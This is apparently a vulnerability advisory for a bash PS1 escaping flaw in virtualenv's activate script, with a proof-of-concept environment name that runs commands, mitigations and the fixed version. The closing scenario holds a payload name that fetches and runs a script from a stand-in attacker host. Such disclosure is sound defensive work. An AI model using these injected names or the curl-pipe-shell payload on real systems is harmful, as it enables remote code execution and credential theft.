CVE-2026-113725: virtualenv: PS1 escaping flaw allows shell command execution

### Summary The bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a backslash in the name undoes the escaping and a name containing `\$(...)` runs as commands in the user's shell each time bash draws the prompt. ### Affected area `src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`. ### Attacker-controlled input The environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name. ### Details bash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\` into `\` and `\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before 21.13.0 do not escape the name at all. A bash running as root decodes `\$` to `#`, so the payload shows the wrong text there but runs nothing. zsh does no decode pass and is not affected. ### Proof of concept ```console $ virtualenv --prompt 'a\$(touch PWNED)' env $ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"' $ ls PWNED PWNED ``` ### Impact Arbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an attacker influenced, with that user's privileges, once per prompt draw. ### Versions tested 21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root. ### Known mitigation Set `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars` if your prompt does not need expansion. Check the name of an environment you did not create before you source its `activate`. ### Latest release - [x] The problem reproduces on the latest virtualenv release. 21.14.6 ### Patches Fixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs. Fix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932 ### Credits Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.

An attacker opens a pull request or publishes a repo or archive for an ML project whose branch or directory name is a:\$(curl attacker.example|sh). A wrapper script or CI helper creates a virtualenv with that name as the prompt, or a developer clones the repo and runs 'source env/bin/activate' in bash. On the next prompt draw, bash runs the embedded command with the developer's privileges, exfiltrating cloud and API credentials or planting a backdoor in the training pipeline. The payload re-runs on every prompt.